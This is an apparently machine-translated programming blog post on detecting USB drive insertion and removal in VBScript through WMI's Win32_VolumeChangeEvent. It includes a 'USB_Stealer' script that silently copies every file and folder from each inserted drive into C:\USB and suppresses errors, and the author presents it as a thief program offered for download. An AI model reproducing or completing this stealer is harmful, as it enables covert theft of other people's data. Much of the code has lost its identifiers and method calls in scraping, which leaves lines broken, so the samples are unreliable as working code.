SoFunction
Updated on 2025-04-08

Code for detecting USB drive insertion and pop-up events with VBS

It can be said that the degree of mastery of WMI directly determines your VBS level. I have seen the VBS version of the U disk thief program that is widely circulated on the Internet. It is basically achieved through infinite loops and has no technical content at all. At the end of the article, the download address of the VBS version of the U disk thief program I wrote. Although using WMI also requires infinite loops, the efficiency is different.

You can use WMI's Win32_VolumeChangeEvent class. The following is the sample code. For more detailed information, please refer toMSND Documentation

Copy the codeThe code is as follows:

Const Configuration_Changed = 1
Const Device_Arrival = 2
Const Device_Removal = 3
Const Docking = 4
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent =
Select Case
Case Device_Arrival
"U disk insertion, drive letter is" & _

Case Device_Removal
"U disk pops up, drive letter is" & _

End Select
Loop

I also wrote a USB flash drive thief program. I thought it was better than the code copied online. If you are interested, you can download it and take a look.
Copy the codeThe code is as follows:

'==========================================
'Name : USB_Stealer
'Date : 2010/5/25
'Author : Demon
'Copyright : Copyright (c) 2010 Demon
'E-Mail : @
'QQ : 380401911
'Website :
'==========================================
'Option Explicit
On Error Resume Next
Const Target_Folder = "C:\USB"

Call Main()

Sub Main()
On Error Resume Next
Const Device_Arrival = 2
Const Device_Removal = 3
Const strComputer = "."
Dim objWMIService, colMonitoredEvents, objLatestEvent

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent =
Select Case
Case Device_Arrival
Copy_File
End Select
Loop
End Sub

Sub Copy_File(Folder_Path)
On Error Resume Next
Dim fso,file,folder
Set fso = CreateObject("")

If Not (Target_Folder) Then
(Target_Folder)
End If

For Each file In (Folder_Path).Files
Target_Folder & "\" & ,True
Next

For Each folder In (Folder_Path).SubFolders
Target_Folder & "\" & ,True
Next
End Sub

Given that many people have reported that the article I wrote before is invalid under XP, I have made some modifications. It is said to be a modification, but it is actually a direct copy and paste script expert's code.
Copy the codeThe code is as follows:

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colEvents = _
("Select * From __InstanceOperationEvent Within 10 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")

Do While True
Set objEvent =
If = 2 Then
Select Case objEvent.Path_.Class
Case "__InstanceCreationEvent"
"Drive " & & _
" has been added."
Case "__InstanceDeletionEvent"
"Drive " & & _
" has been removed."
End Select
End If
Loop

Reference link:How Can I Determine When a Removable Drive Gets Connected?
You should be able to see what is the good place to learn VBS. You have to go to the official website for learning VBS. Many of my VBS-related textbooks are from Microsoft's official script columns.
Original text: /programming/